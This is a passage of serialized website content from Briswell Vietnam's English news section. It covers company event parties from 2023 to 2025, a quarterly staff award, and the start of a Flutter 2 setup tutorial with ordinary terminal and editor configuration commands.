8-7.",[438,6805],{"className":6806,"alt":66,"src":6807,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092713\u002Fz4632813339804_bfe5ba0722bcbc843666d7c2ee29c258-768x576.jpg",[11,6809,6811],{"className":6810},[2464,2465,2466,2467,2468],"\nThe competition between Team 3 and Team 4\n",[11,6813,6814],{},"The step to the final is the tense match between Team 1 and Team 4. In this final match, there were extremely difficult questions that even the organizers could not remember what the answer was, questions that made everyone silent and thinking.",[438,6816],{"className":6817,"alt":66,"src":6818,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25091414\u002Fz4632813317396_f343a7ee1019ef7c2aeb5c33b86c044e-768x576.jpg",[11,6820,6822],{"className":6821},[2464,2465,2466,2467,2468],"\nEveryone is focused on the exciting final match.\n",[11,6824,6825],{},"The confrontation between the two teams was quite balanced until the last questions, Team 1 answered correctly many consecutive questions to win the final with a score of 8-6.",[438,6827],{"className":6828,"alt":66,"src":6829,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084158\u002Fz4632813255440_ad0a7c28c5c9575521db95761fd76c2a-768x576.jpg",[11,6831,6833],{"className":6832},[2464,2465,2466,2467,2468],"\nThe image of Team 1 happily smiling when receiving the program’s award\n\n",[11,6835,6836],{},"Our second game is the keyword guessing game, a fun and creative game 🎨. Each team will have one person on stage, this person will use body language and facial expressions to describe the keyword for other members of the team to guess. Within 5 minutes, the team that guesses the most keywords will win 🏆.",[11,6838,6839],{},"Starting with Team 1’s play, although they were the first team to play, Team 1 showed no hesitation when they correctly guessed 9\u002F15 questions within 5 minutes.",[438,6841],{"className":6842,"alt":66,"src":6843,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093246\u002Fz4632813243843_125f2a72f6835e79d7fed18dcc43df3f-768x576.jpg",[11,6845,6847],{"className":6846},[2464,2465,2466,2467,2468],"\nThe competition of Team 1\n",[11,6849,6850],{},"The second team encountered a very difficult set of keywords, causing them to have difficulty guessing. They could only answer 7\u002F15 questions correctly within 5 minutes.",[438,6852],{"className":6853,"alt":66,"src":6854,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093104\u002Fz4632813210762_9c8d45c1c27d3bb8aa6e55d9eb9d9ff2-768x576.jpg",[11,6856,6858],{"className":6857},[2464,2465,2466,2467,2468],"\nThe competition of Team 2\n",[11,6860,6861],{},"For the third team, with their lively performance and accurate judgment, they brilliantly guessed 14\u002F15 keywords within 5 minutes.",[438,6863],{"className":6864,"alt":66,"src":6865,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085710\u002Fz4632813210889_01d9be5a874bbc7454264e9e94b11e28-768x576.jpg",[11,6867,6869],{"className":6868},[2464,2465,2466,2467,2468],"\nThe competition of Team 3\n",[11,6871,6872],{},"Surprisingly, just when it seemed that Team 3 had almost secured the win by answering 14\u002F15 questions correctly, the appearance of Team 4 with 15\u002F15 correct answers defeated and became the winning team in game 2 of this event party.",[438,6874],{"className":6875,"alt":66,"src":6876,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25131337\u002Fz4632813191059_cf655dc7dfc3aaa139fd7499bfed9699-768x576.jpg",[11,6878,6880],{"className":6879},[2464,2465,2466,2467,2468],"\nThe competition of Team 4\n",[438,6882],{"className":6883,"alt":66,"src":6884,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084751\u002Fz4632813195607_3833144a7b951fc3bceafad54a8efa65-768x576.jpg",[11,6886,6888],{"className":6887},[2464,2465,2466,2467,2468],"\nThe members are overjoyed when receiving the winning prize from the program\n",[11,6890,6891],{},"After the end of the second game, it is also time for lunch. The hot atmosphere of the sunny summer noon is very suitable for everyone to go into an air-conditioned restaurant to enjoy. The lucky restaurant this time is Bếp cuốn, where there are delicious traditional specialties of Vietnam.",[11,6893,6894],{},"In addition, at this event, Briswell Vietnam welcomes 4 new members from the Dev team. All of them are interns who have become official employees of the company. We hope them will work hard, learn a lot of experience, and contribute to the development of Briswell Vietnam. Congratulations on becoming a part of the Briswell family! 🎉🎉🎉.",[11,6896,6897],{},"The August 2023 event party of the company has ended in joy and happiness. We had wonderful moments together, going through challenges and completing tasks. This is a great opportunity for us to bond and understand each other better. Thank you to all members for participating and contributing to the success of the event 👏.",[11,6899,6900],{},"Wish everyone always happy and happy! 😊 And let’s look forward to the next event! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":6902},[],"DONG LE VAN","2023-09-29",{},"\u002Fnews\u002Fevent-party-thang-08-2023",{"title":6774,"description":6717},"news\u002Fevent-party-thang-08-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085243\u002Fz4632813238716_16ac37851256941a965fc29d809a15dd-2048x1536.jpg","ADaMIb600kc_XpTiP3qzbFkoL8gDBHfdba4XbN6u-84",{"id":6912,"title":6913,"body":6914,"category":3032,"created by":70,"date":7016,"description":6918,"extension":72,"meta":7017,"navigation":74,"path":7018,"sections":76,"seo":7019,"stem":7020,"thumbnail":7021,"__hash__":7022},"content_en\u002Fnews\u002Fevent-thang-05-2023-event-dau-he.md","Event May 2023 - Summer Beginning Event",{"type":8,"value":6915,"toc":7014},[6916,6919,6922,6925,6928,6932,6936,6939,6943,6947,6951,6955,6958,6961,6965,6969,6977,6981,6985,6989,6993,6996,6999,7007,7011],[11,6917,6918],{},"For working people, the concept of summer might no longer brings a sense of excitement and anticipation. Because it doesn't have any difference with other season like it used to be when we were a child, we still need to wake up, dress up and go to work. Sometimes we only startle to realize that summer has come when we hear the sound of cicadas tinkling through the trees on the way back home after a long day at the office.",[11,6920,6921],{},"Briswell Vietnam's event this time was held at the end of May - the beginning of summer and also very close to International Children's Day (June 1st). We wonder if the \"adults\" in our company still remember their childhood feelings? With the desire to help our member return to their childhood, partly forget about the hardships and pressures in life, we organized games which tatses like those bygone years. So, how did our event go? Read on to follow along!",[11,6923,6924],{},"The opening game is a witty and funny game named \"Chase pictures catch letters\". Perhaps everyone is no more stranger to this game as it was used to be a famous TV gameshow in the early 2000s, hosted by famous comedian Uncle Xuan Bac. Maybe that's why members were able to grasp the rules of the game and find out the correct answers very quickly. On television, players participated in individuals. But in Briswell Vietnam, we played team to improve teamwork and increase cohesion among members.",[11,6926,6927],{},"In the first round, the competion was concluded with a score of 6-4. In the very beginning questions, the overall winner looked like they were being left behind but then quickly caught up and took the lead. What a fascinating battle!",[438,6929],{"className":6930,"alt":66,"src":6931,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143828\u002Fh1-2.png",[11,6933,6935],{"className":6934},[2464,2465,2466,2467,2468],"\nThe two teams in the first round are competing\n",[11,6937,6938],{},"In the second round, despite the increase in the number of questions, everyone kept their form throughout the match and ended with the score of 12-8. After determining the winner and loser, there was a super difficult questions that even the game designer couldn't find the answer. So, we asked for the help of the teams. Although we couldn't solve it yet, we had been able to deduce together, ignore the win and lose, contribute to strengthen the solidarity in the Briswell Vietnam family.",[438,6940],{"className":6941,"alt":66,"src":6942,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143909\u002Fh2-2.png",[11,6944,6946],{"className":6945},[2464,2465,2466,2467,2468],"\nThe teams in the second round are on their way to the finish line\n",[438,6948],{"className":6949,"alt":66,"src":6950,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09143941\u002Fh3-3.png",[11,6952,6954],{"className":6953},[2464,2465,2466,2467,2468],"\nA tough question that even the game designer didn't know the answer\n",[11,6956,6957],{},"When you were young, were you used to be excited to go to the market or the supermarket to do the grocery shopping with your mother? Or were you hyper excited when your mother gave you a list of things and assigned the shopping task for you? At that moment, you must had been so proud because you felt like you had already grown up, right? But when we've actually grown up, doing grocery shopping might be no longer the exciting things as it's used to. However, remembering the childhood memories makes us feel really nostalgic, doesn't it?",[11,6959,6960],{},"Thus, to recall the feeling of those bygone years, the second game is Supermarket Challenge. In this game, we have 4 teams playing, each team randomly choose the supermarket that their team will be in charge of. Then, each member of the teams will see the product list of their supermarkets, memorize and write them down in limited time. The team have the most products is the winner. In addition, members can get more points for their team by looking for real items in the office which are included in the product list of all supermarkets. This part of the game took place in a bustling way as everyone was frantically searching for objects throughout the office. The game ended with the winning of Dev 3 team.",[438,6962],{"className":6963,"alt":66,"src":6964,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144025\u002Fh4-2.png",[11,6966,6968],{"className":6967},[2464,2465,2466,2467,2468],"\nEach team member is trying to remember the product name\n",[11,6970,6971,6975],{},[438,6972],{"className":6973,"alt":66,"src":6974,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104633\u002Fh5.png",[473,6976],{},[438,6978],{"className":6979,"alt":66,"src":6980,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144117\u002Fh6-2.png",[11,6982,6984],{"className":6983},[2464,2465,2466,2467,2468],"\nItems found in the office by the teams\n",[438,6986],{"className":6987,"alt":66,"src":6988,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09144142\u002Fh7-2.png",[11,6990,6992],{"className":6991},[2464,2465,2466,2467,2468],"\nGifts for winning team members\n",[11,6994,6995],{},"Ending the game with a refreshing mood, Briswell Vietnam family had a cozy dinner together. The restaurant selected this time was Seoul Garden, which has a spacious and very cozy space. The food was diverse and rich with typical Korean grilled dishes. It is an ideal place to gathering with friends and family.",[11,6997,6998],{},"While enjoying the meal, everyone was able to chat with each other, about stories that are difficult to share when being at the office. In addition, at this event, Briswell Vietnam also welcomed 4 new members from Comtor and Admin team, they are all among the youngest members of the company. Through this event, they again had one more chance to quickly integrate with people and understand more about the company's culture!",[11,7000,7001,7005],{},[438,7002],{"className":7003,"alt":66,"src":7004,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105001\u002Fh8.png",[473,7006],{},[438,7008],{"className":7009,"alt":66,"src":7010,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105053\u002Fh9.png",[11,7012,7013],{},"The May's event ended with cheers and laughter that brought everyone in Briswell Vietnam family closer together than ever. Hope the new members will be able to learn a lot more skill and knowledge while working at Briswell Vietnam and let's look forward to the next event!",{"title":66,"searchDepth":67,"depth":67,"links":7015},[],"2023-06-13",{},"\u002Fnews\u002Fevent-thang-05-2023-event-dau-he",{"title":6913,"description":6918},"news\u002Fevent-thang-05-2023-event-dau-he","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F13111223\u002FIMG_3162-2048x1442.jpg","Ro8d4rVVYGN3vET_5Bj2KusDpdHTplwCAgpgHZNC81A",{"id":7024,"title":7025,"body":7026,"category":3032,"created by":4334,"date":7085,"description":7086,"extension":72,"meta":7087,"navigation":74,"path":7088,"sections":76,"seo":7089,"stem":7090,"thumbnail":7091,"__hash__":7092},"content_en\u002Fnews\u002Fevent-thang-05-2025.md","EVENT IN MAY 2025",{"type":8,"value":7027,"toc":7083},[7028,7031,7034,7047,7058,7063,7067,7078],[11,7029,7030],{},"After a while without a full gathering, the company members finally had the chance to come together again for a warm and delightful dinner.",[11,7032,7033],{},"On a pleasantly cool evening in May, the cozy dining room was filled with a soft golden glow and cheerful conversations. Everyone enjoyed a variety of delicious dishes, from fresh, crisp salads to sizzling, flavorful steaks, accompanied by refreshing fruit juices and colorful mocktails. One drink stood out with its interesting name “Healing” – unique and soothing, perfectly capturing the relaxed and heartfelt spirit of the dinner.",[765,7035,4371,7039,4371,7043],{"className":7036,"style":7038},[7037],"mt-4","display: flex; gap: 16px;",[438,7040],{"className":7041,"alt":66,"src":7042,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100337\u002FIMG_4414-scaled.jpg",[438,7044],{"className":7045,"alt":66,"src":7046,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100347\u002FIMG_4415-scaled.jpg",[765,7048,4371,7050,4371,7054],{"className":7049,"style":7038},[7037],[438,7051],{"className":7052,"alt":66,"src":7053,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100358\u002FIMG_4416-scaled.jpg",[438,7055],{"className":7056,"alt":66,"src":7057,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100328\u002FIMG_4413-scaled.jpg",[11,7059,7060,878],{},[51,7061,7062],{},"Dinner gatherings are always a wonderful opportunity for everyone to chat, share laughter, and strengthen bonds like one big family",[438,7064],{"className":7065,"alt":66,"src":7066,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100253\u002FIMG_4409-768x1024.jpg",[765,7068,4371,7070,4371,7074],{"className":7069,"style":7038},[7037],[438,7071],{"className":7072,"alt":66,"src":7073,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100307\u002FIMG_4410-scaled.jpg",[438,7075],{"className":7076,"alt":66,"src":7077,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100320\u002FIMG_4412-scaled.jpg",[11,7079,7080],{},[51,7081,7082],{},"There will surely be many more events to come, where we’ll continue creating unforgettable memories together! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":7084},[],"2025-06-02","After a while without a full gathering, the company members finally had the chance to come together again for a warm and delightful dinner. On a pleasantly cool evening in May, the cozy dining room was filled with a soft golden glow and cheerful conversations. Everyone enjoyed a variety of delicious dishes, from fresh, crisp salads to sizzling, flavorful steaks, accompanied by refreshing fruit juices and colorful mocktails. One drink stood out with its interesting name “Healing” – unique and soothing, perfectly capturing the relaxed and heartfelt spirit of the dinner.",{},"\u002Fnews\u002Fevent-thang-05-2025",{"title":7025,"description":7086},"news\u002Fevent-thang-05-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22170541\u002FCOMPANY-EVENT-IN-052025.png","JeDdym_Fkytc6NuY6UlnwhGli1w-TI07N7NO0hd9QWM",{"id":7094,"title":7095,"body":7096,"category":3032,"created by":4334,"date":7150,"description":7151,"extension":72,"meta":7152,"navigation":74,"path":7153,"sections":76,"seo":7154,"stem":7155,"thumbnail":7156,"__hash__":7157},"content_en\u002Fnews\u002Fevent-thang-12-2025.md","EVENT IN DECEMBER 2025",{"type":8,"value":7097,"toc":7148},[7098,7101,7104,7109,7117,7121,7124,7133,7142,7145],[11,7099,7100],{},"December arrives, bringing with it the familiar spirit of the Christmas season. Cheerful music, sparkling lights, and festive decorations are popping up everywhere, blending into the busy rhythm of the year-end and creating a unique melody of the season.",[11,7102,7103],{},"At Briswell Vietnam, Christmas colors spread throughout the office early on, from small decorated corners to all shared workspaces.",[438,7105],{"className":7106,"alt":66,"src":7108,"style":1098},[441,442,7107],"mb-4","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30101403\u002FIMG_8344-scaled.jpg",[765,7110,4371,7111,4371,7114],{"style":7038},[438,7112],{"alt":66,"src":7113,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091634\u002FIMG_8331-scaled.jpg",[438,7115],{"alt":66,"src":7116,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091645\u002FIMG_8332-810x1024.jpg",[438,7118],{"className":7119,"alt":66,"src":7120,"style":1098},[441,442,7037],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091655\u002FIMG_8333-1216x1536.jpg",[11,7122,7123],{},"On this occasion, Briswell organized a small event, giving all staff the opportunity to connect, socialize, and enjoy the festive vibe together.",[765,7125,4371,7127,4371,7130],{"className":7126,"style":7038},[7107],[438,7128],{"alt":66,"src":7129,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091553\u002FIMG_8323-1152x1536.jpg",[438,7131],{"alt":66,"src":7132,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091611\u002FIMG_8326-1152x1536.jpg",[765,7134,4371,7136,4371,7139],{"className":7135,"style":7038},[7037],[438,7137],{"alt":66,"src":7138,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091603\u002FIMG_8325-scaled.jpg",[438,7140],{"alt":66,"src":7141,"style":506},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091704\u002FIMG_8337-1152x1536.jpg",[11,7143,7144],{},"The party took place in a lively setting; laughter, short conversations, and photo-taking activities helped lift everyone’s mood, creating a relaxed feeling and plenty of positive energy. ",[11,7146,7147],{},"The evening wrapped up in a relaxed atmosphere, each member left with memorable photos and a full-on Christmas night with colleagues. The party, though simple, was meaningful enough to leave a lasting mark on Briswell’s journey of team bonding.",{"title":66,"searchDepth":67,"depth":67,"links":7149},[],"2026-01-09","December arrives, bringing with it the familiar spirit of the Christmas season. Cheerful music, sparkling lights, and festive decorations are popping up everywhere, blending into the busy rhythm of the year-end and creating a unique melody of the season. At Briswell Vietnam, Christmas colors spread throughout the office early on, from small decorated corners to all shared workspaces. On this occasion, Briswell organized a small event, giving all staff the opportunity to connect, socialize, and enjoy the festive vibe together.",{},"\u002Fnews\u002Fevent-thang-12-2025",{"title":7095,"description":7151},"news\u002Fevent-thang-12-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30111621\u002Ftittle_3.png","_1dG55DzkRbSTc7Vx76b6UiiWGcW2Xe-U4Nre59hZ-M",{"id":7159,"title":7160,"body":7161,"category":69,"created by":70,"date":7217,"description":7218,"extension":72,"meta":7219,"navigation":74,"path":7220,"sections":76,"seo":7221,"stem":7222,"thumbnail":7223,"__hash__":7224},"content_en\u002Fnews\u002Fexcellent-staff-4-2020.md","Excellent Staff Award of Quarter 4.2020",{"type":8,"value":7162,"toc":7215},[7163,7166,7169,7174,7179,7183,7186,7189,7194,7199,7203,7206,7209,7212],[11,7164,7165],{},"The Award of Excellent Employee in Quarter 4.2020 has arrived, the award acknowledges the dedication and hard work of our members after a quarter of working.",[11,7167,7168],{},"Follow us to find out who the owners of these awards are!",[11,7170,7171],{},[20,7172,7173],{},"First prize",[11,7175,7176],{},[20,7177,7178],{},"Mr. Bui Duc Huy, team Com",[438,7180],{"className":7181,"alt":66,"src":7182,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142112\u002FIMG_8527-scaled.jpg",[11,7184,7185],{},"Once again, a man from team Com attracted the attention and recognition from the leaders. He joined the project team as a tester, although very young, his sense of responsibility is shown very high, as well as the spirit of dedication to the job.",[11,7187,7188],{},"Hopefully, with this spirit of work and dedication, Huy can do more in the future.",[11,7190,7191],{},[20,7192,7193],{},"And Second Prize",[11,7195,7196],{},[20,7197,7198],{},"Mr. Le Ngoc Khanh, team Dev2",[438,7200],{"className":7201,"alt":66,"src":7202,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142125\u002FIMG_8524-scaled.jpg",[11,7204,7205],{},"A relatively new member of the Briswell family. Although he is the youngest man who just graduated, after a period of studying and working, Khanh has made a lot of effort at work, he is willing to listen to and absorb ideas to sharpen and improve himself.",[11,7207,7208],{},"Hopefully, Khanh will continue to promote his strengths in the future.",[11,7210,7211],{},"Congratulations on winning this excellent employee award!",[11,7213,7214],{},"2020 has ended, Briswell members, together we welcome 2021 with many challenges and try harder!",{"title":66,"searchDepth":67,"depth":67,"links":7216},[],"2021-02-09","The Award of Excellent Employee in Quarter 4.2020 has arrived, the award acknowledges the dedication and hard work of our members after a quarter of working. Follow us to find out who the owners of these awards are!",{},"\u002Fnews\u002Fexcellent-staff-4-2020",{"title":7160,"description":7218},"news\u002Fexcellent-staff-4-2020","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142352\u002FCover-1.png","RMSJcrcQnE_SGLJBsfNrJ8e4Mrw4xNfivppcLaYCKdo",{"id":7226,"title":7227,"body":7228,"category":7817,"created by":70,"date":7818,"description":7819,"extension":72,"meta":7820,"navigation":74,"path":7821,"sections":76,"seo":7822,"stem":7823,"thumbnail":7824,"__hash__":7825},"content_en\u002Fnews\u002Fflutter2.md","Flutter2",{"type":8,"value":7229,"toc":7806},[7230,7238,7281,7294,7297,7301,7304,7311,7317,7324,7330,7336,7342,7349,7355,7358,7364,7367,7373,7377,7385,7391,7402,7408,7412,7419,7423,7426,7430,7434,7440,7443,7447,7458,7462,7471,7475,7478,7482,7486,7492,7505,7511,7531,7538,7544,7561,7565,7568,7577,7583,7590,7596,7603,7609,7612,7618,7621,7628,7632,7635,7639,7643,7649,7663,7667,7709,7713,7727,7732,7752,7756,7759,7762,7766],[11,7231,7232,7233,7237],{},"At 2021\u002F3\u002F4, ",[55,7234,7227],{"href":7235,"rel":7236,"title":7227},"https:\u002F\u002Fdevelopers.googleblog.com\u002F2021\u002F03\u002Fannouncing-flutter-2.html",[59],"  was released with new features added:",[31,7239,7240,7243,7251,7265,7278],{},[34,7241,7242],{},"Web's , desktop's support has been in stable channel (they were in beta channel before), which mean you can bring your app officially to Web, Mac OS and Windows OS.",[34,7244,7245,7250],{},[55,7246,7249],{"href":7247,"rel":7248},"https:\u002F\u002Fproxify.io\u002Farticles\u002Fflutter-2-null-safety",[59],"Sound Null Safety",", but not all packages has been updated with this feature so consider this when you intend to upgrade your current project with new Flutter version.",[34,7252,7253,7254,7259,7260,878],{},"New widgets: ",[55,7255,7258],{"href":7256,"rel":7257},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FAutocomplete-class.html",[59],"Autocomplete"," and ",[55,7261,7264],{"href":7262,"rel":7263},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FScaffoldMessenger-class.html",[59],"ScaffoldMessenger",[34,7266,7267,7268,1017,7273,1673],{},"Upgrade on extensions for code editors(",[55,7269,7272],{"href":7270,"rel":7271},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fvs-code",[59],"Visual Studio Code",[55,7274,7277],{"href":7275,"rel":7276},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fandroid-studio",[59],"Android Studio",[34,7279,7280],{},"Ecosystem and DevTools updates, Bug fixes, Flutter Fix are also included.",[11,7282,7283,7284,7288,7289],{},"You can refer all of updates at ",[55,7285,7287],{"href":7235,"rel":7286},[59],"Announcing Flutter 2",". If you want to give it a try, you can download it at ",[55,7290,7293],{"href":7291,"rel":7292},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fget-started\u002Finstall",[59],"here.",[11,7295,7296],{},"And right now we will show you from how to configure 1 Flutter2 app in MacOS and run it in different platforms (iOS, Web, MacOS), keep reading!",[403,7298,7300],{"id":7299},"configure-flutter2","Configure Flutter2",[11,7302,7303],{},"In case you have been working in some Flutter1 projects and you don't want to upgrade them to Flutter2, you have to configure the path for Flutter as following, otherwise you can skip this step.",[11,7305,7306,7307,7310],{},"After unzipping downloaded Flutter2 folder, open ",[20,7308,7309],{},"Terminal"," app then type:",[605,7312,7315],{"className":7313,"code":7314,"language":610},[608],"nano ~\u002F.bash_profile\n",[612,7316,7314],{"__ignoreMap":66},[11,7318,7319,7320,7323],{},"Add alias path to Flutter2 folder to ",[51,7321,7322],{},".bash_profile"," file:",[605,7325,7328],{"className":7326,"code":7327,"language":610},[608],"alias flutter2=\u002Fpath\u002Fto\u002Fflutter2\u002Fbin\u002Fflutter\n",[612,7329,7327],{"__ignoreMap":66},[11,7331,7332,7333,7335],{},"Reload ",[51,7334,7322],{}," file",[605,7337,7340],{"className":7338,"code":7339,"language":610},[608],"source ~\u002F.bash_profile\n",[612,7341,7339],{"__ignoreMap":66},[11,7343,7344,7345,7348],{},"Now when you run ",[20,7346,7347],{},"flutter2"," command you will work in Flutter2 only. You can check version for sure:",[605,7350,7353],{"className":7351,"code":7352,"language":610},[608],"flutter2 --version\n",[612,7354,7352],{"__ignoreMap":66},[11,7356,7357],{},"You will see some thing like below:",[605,7359,7362],{"className":7360,"code":7361,"language":610},[608],"Flutter 2.0.1 • channel stable • https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter.git\nFramework • revision c5a4b4029c (2 weeks ago) • 2021-03-04 09:47:48 -0800\nEngine • revision 40441def69\nTools • Dart 2.12.0\n",[612,7363,7361],{"__ignoreMap":66},[11,7365,7366],{},"Upgrade if needed:",[605,7368,7371],{"className":7369,"code":7370,"language":610},[608],"flutter2 upgrade\n",[612,7372,7370],{"__ignoreMap":66},[403,7374,7376],{"id":7375},"create-new-project-and-configure-with-visual-studio-code-vscode","Create new project and configure with Visual Studio Code (VSCode)",[11,7378,938,7379,7381,7382],{},[20,7380,7309],{}," app, create a new project named ",[20,7383,7384],{},"sample_flutter2",[605,7386,7389],{"className":7387,"code":7388,"language":610},[608],"flutter2 create sample_flutter2\n",[612,7390,7388],{"__ignoreMap":66},[11,7392,7393,7394,7397,7398,7401],{},"Open project with VSCode, then add flutter2 SDK path by creating file ",[51,7395,7396],{},"settings.json"," in folder ",[51,7399,7400],{},".vs_code\u002F"," then paste following:",[605,7403,7406],{"className":7404,"code":7405,"language":610},[608],"{\n\"dart.flutterSdkPath\": \"path\u002Fto\u002Fflutter2\u002Ffolder\"\n}\n",[612,7407,7405],{"__ignoreMap":66},[403,7409,7411],{"id":7410},"run-in-ios","Run in iOS",[11,7413,7414,7415,7418],{},"From ",[20,7416,7417],{},"VSCode",", select iphone as run device(in here we select iphone simulator iPhone12 Pro Max)",[438,7420],{"className":7421,"alt":66,"src":7422,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104853\u002Fselect_iphone.png",[11,7424,7425],{},"Then run, easy!!",[438,7427],{"className":7428,"alt":66,"src":7429,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104929\u002Frun_in_iphone.png",[1693,7431,7433],{"id":7432},"build-to-ipa","Build to .ipa",[605,7435,7438],{"className":7436,"code":7437,"language":610},[608],"flutter2 build ipa --profile\n",[612,7439,7437],{"__ignoreMap":66},[11,7441,7442],{},"Above command will output Runner.xcarchive at folder build\u002Fios\u002Farchive, which click on it will open Xcode, you can archive to 